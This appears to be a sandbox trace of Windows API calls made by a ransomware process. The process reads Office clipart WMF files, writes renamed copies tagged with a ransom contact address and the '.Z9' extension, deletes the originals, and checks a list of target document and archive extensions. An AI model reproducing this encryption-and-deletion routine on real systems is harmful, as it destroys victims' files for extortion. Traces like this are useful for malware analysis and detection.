	[0094.983] lstrlenW (lpString=".docx") returned 5
	[0094.983] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.983] lstrlenW (lpString=".pdf") returned 4
	[0094.983] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.983] lstrlenW (lpString=".xls") returned 4
	[0094.983] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.983] lstrlenW (lpString=".xlsx") returned 5
	[0094.983] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.983] lstrlenW (lpString=".ppt") returned 4
	[0094.983] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0094.984] lstrlenW (lpString=".zip") returned 4
	[0094.984] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.984] lstrlenW (lpString=".rar") returned 4
	[0094.984] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.984] lstrlenW (lpString=".bz2") returned 4
	[0094.984] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.984] lstrlenW (lpString=".7z") returned 3
	[0094.984] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0094.984] lstrlenW (lpString=".dbf") returned 4
	[0094.984] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0094.984] lstrlenW (lpString=".1cd") returned 4
	[0094.984] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0094.984] lstrlenW (lpString=".jpg") returned 4
	[0094.984] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.984] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0094.984] lstrlenW (lpString="HH01759_.WMF") returned 12
	[0094.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0094.985] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=5414) returned 1
	[0094.985] CloseHandle (hObject=0x378) returned 1
	[0094.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf")) returned 0x220
	[0094.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0094.985] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.985] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0094.986] GetLastError () returned 0x0
	[0094.986] ReadFile (in: hFile=0x378, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x1526, lpOverlapped=0x0) returned 1
	[0094.987] WriteFile (in: hFile=0x364, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x1530, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x1530, lpOverlapped=0x0) returned 1
	[0094.988] ReadFile (in: hFile=0x378, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.988] WriteFile (in: hFile=0x364, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0094.988] SetEndOfFile (hFile=0x364) returned 1
	[0094.988] CloseHandle (hObject=0x364) returned 1
	[0094.988] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.988] SetEndOfFile (hFile=0x378) returned 1
	[0094.989] CloseHandle (hObject=0x378) returned 1
	[0094.989] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0094.989] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf")) returned 1
	[0094.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0094.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0094.990] lstrlenW (lpString=".doc") returned 4
	[0094.990] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.990] lstrlenW (lpString=".docx") returned 5
	[0094.990] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.990] lstrlenW (lpString=".pdf") returned 4
	[0094.990] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.990] lstrlenW (lpString=".xls") returned 4
	[0094.990] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.990] lstrlenW (lpString=".xlsx") returned 5
	[0094.990] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.990] lstrlenW (lpString=".ppt") returned 4
	[0094.990] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0094.990] lstrlenW (lpString=".zip") returned 4
	[0094.990] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.990] lstrlenW (lpString=".rar") returned 4
	[0094.990] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.990] lstrlenW (lpString=".bz2") returned 4
	[0094.990] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.990] lstrlenW (lpString=".7z") returned 3
	[0094.990] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0094.990] lstrlenW (lpString=".dbf") returned 4
	[0094.990] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0094.990] lstrlenW (lpString=".1cd") returned 4
	[0094.990] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0094.990] lstrlenW (lpString=".jpg") returned 4
	[0094.990] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0094.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0094.991] lstrlenW (lpString=".doc") returned 4
	[0094.991] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.991] lstrlenW (lpString=".docx") returned 5
	[0094.991] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.991] lstrlenW (lpString=".pdf") returned 4
	[0094.991] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.991] lstrlenW (lpString=".xls") returned 4
	[0094.991] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.991] lstrlenW (lpString=".xlsx") returned 5
	[0094.991] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.991] lstrlenW (lpString=".ppt") returned 4
	[0094.991] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0094.991] lstrlenW (lpString=".zip") returned 4
	[0094.991] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.991] lstrlenW (lpString=".rar") returned 4
	[0094.991] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.991] lstrlenW (lpString=".bz2") returned 4
	[0094.991] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.991] lstrlenW (lpString=".7z") returned 3
	[0094.991] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0094.991] lstrlenW (lpString=".dbf") returned 4
	[0094.991] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0094.991] lstrlenW (lpString=".1cd") returned 4
	[0094.991] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0094.991] lstrlenW (lpString=".jpg") returned 4
	[0094.991] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.991] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0094.991] lstrlenW (lpString="HH01875_.WMF") returned 12
	[0094.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0094.992] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=2616) returned 1
	[0094.992] CloseHandle (hObject=0x378) returned 1
	[0094.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf")) returned 0x220
	[0094.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0094.992] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.992] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0094.993] GetLastError () returned 0x0
	[0094.993] ReadFile (in: hFile=0x378, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0xa38, lpOverlapped=0x0) returned 1
	[0095.561] WriteFile (in: hFile=0x364, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xa40, lpOverlapped=0x0) returned 1
	[0095.562] ReadFile (in: hFile=0x378, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0095.562] WriteFile (in: hFile=0x364, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0095.562] SetEndOfFile (hFile=0x364) returned 1
	[0095.795] CloseHandle (hObject=0x364) returned 1
	[0095.795] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.795] SetEndOfFile (hFile=0x378) returned 1
	[0095.796] CloseHandle (hObject=0x378) returned 1
	[0095.796] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0095.796] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf")) returned 1
	[0095.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68
	[0095.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68
	[0095.796] lstrlenW (lpString=".doc") returned 4
	[0095.796] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0095.796] lstrlenW (lpString=".docx") returned 5
	[0095.796] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0095.796] lstrlenW (lpString=".pdf") returned 4
	[0095.796] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0095.796] lstrlenW (lpString=".xls") returned 4
	[0095.796] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0095.796] lstrlenW (lpString=".xlsx") returned 5
	[0095.796] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0095.796] lstrlenW (lpString=".ppt") returned 4
	[0095.796] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0095.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68
	[0095.796] lstrlenW (lpString=".zip") returned 4
	[0095.796] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0095.796] lstrlenW (lpString=".rar") returned 4
	[0095.796] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0095.796] lstrlenW (lpString=".bz2") returned 4
	[0095.797] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0095.797] lstrlenW (lpString=".7z") returned 3
	[0095.797] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0095.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68
	[0095.797] lstrlenW (lpString=".dbf") returned 4
	[0095.797] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0095.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68
	[0095.797] lstrlenW (lpString=".1cd") returned 4
	[0095.797] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0095.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68
	[0095.797] lstrlenW (lpString=".jpg") returned 4
	[0095.797] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0095.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68
	[0095.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68
	[0095.797] lstrlenW (lpString=".doc") returned 4
	[0095.797] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0095.797] lstrlenW (lpString=".docx") returned 5
	[0095.797] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0095.797] lstrlenW (lpString=".pdf") returned 4
	[0095.797] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0095.797] lstrlenW (lpString=".xls") returned 4
	[0095.797] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0095.797] lstrlenW (lpString=".xlsx") returned 5
	[0095.797] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0095.797] lstrlenW (lpString=".ppt") returned 4
	[0095.797] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0095.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68
	[0095.797] lstrlenW (lpString=".zip") returned 4
	[0095.797] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0095.797] lstrlenW (lpString=".rar") returned 4
	[0095.797] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0095.797] lstrlenW (lpString=".bz2") returned 4
	[0095.797] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0095.797] lstrlenW (lpString=".7z") returned 3
	[0095.797] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0095.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68
	[0095.798] lstrlenW (lpString=".dbf") returned 4
	[0095.798] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0095.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68
	[0095.798] lstrlenW (lpString=".1cd") returned 4
	[0095.798] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0095.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68
	[0095.798] lstrlenW (lpString=".jpg") returned 4
	[0095.798] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0095.798] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0095.798] lstrlenW (lpString="IN00346_.WMF") returned 12
	[0095.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0095.798] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=696) returned 1
	[0095.798] CloseHandle (hObject=0x378) returned 1
	[0095.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf")) returned 0x220
	[0095.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0095.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0095.799] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.799] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0095.799] GetLastError () returned 0x0
	[0095.799] ReadFile (in: hFile=0x378, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x2b8, lpOverlapped=0x0) returned 1
	[0095.800] WriteFile (in: hFile=0x364, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x2c0, lpOverlapped=0x0) returned 1
	[0095.801] ReadFile (in: hFile=0x378, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0095.801] WriteFile (in: hFile=0x364, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0095.801] SetEndOfFile (hFile=0x364) returned 1
	[0095.801] CloseHandle (hObject=0x364) returned 1
	[0095.801] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.802] SetEndOfFile (hFile=0x378) returned 1
	[0095.802] CloseHandle (hObject=0x378) returned 1
	[0095.802] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0095.803] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf")) returned 1
	[0095.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68
	[0095.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68
	[0095.803] lstrlenW (lpString=".doc") returned 4
	[0095.803] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0095.803] lstrlenW (lpString=".docx") returned 5
	[0095.803] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0095.803] lstrlenW (lpString=".pdf") returned 4
	[0095.803] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0095.803] lstrlenW (lpString=".xls") returned 4
	[0095.803] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0095.803] lstrlenW (lpString=".xlsx") returned 5
	[0095.803] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0095.803] lstrlenW (lpString=".ppt") returned 4
	[0095.803] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0095.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68
	[0095.803] lstrlenW (lpString=".zip") returned 4
	[0095.803] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0095.803] lstrlenW (lpString=".rar") returned 4
	[0095.803] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0095.803] lstrlenW (lpString=".bz2") returned 4
	[0095.803] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0095.803] lstrlenW (lpString=".7z") returned 3
	[0095.803] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0095.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68
	[0095.803] lstrlenW (lpString=".dbf") returned 4
	[0095.803] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0095.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68
	[0095.803] lstrlenW (lpString=".1cd") returned 4
	[0095.803] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0095.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68
	[0095.804] lstrlenW (lpString=".jpg") returned 4
	[0095.804] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0095.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68
	[0095.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68
	[0095.804] lstrlenW (lpString=".doc") returned 4
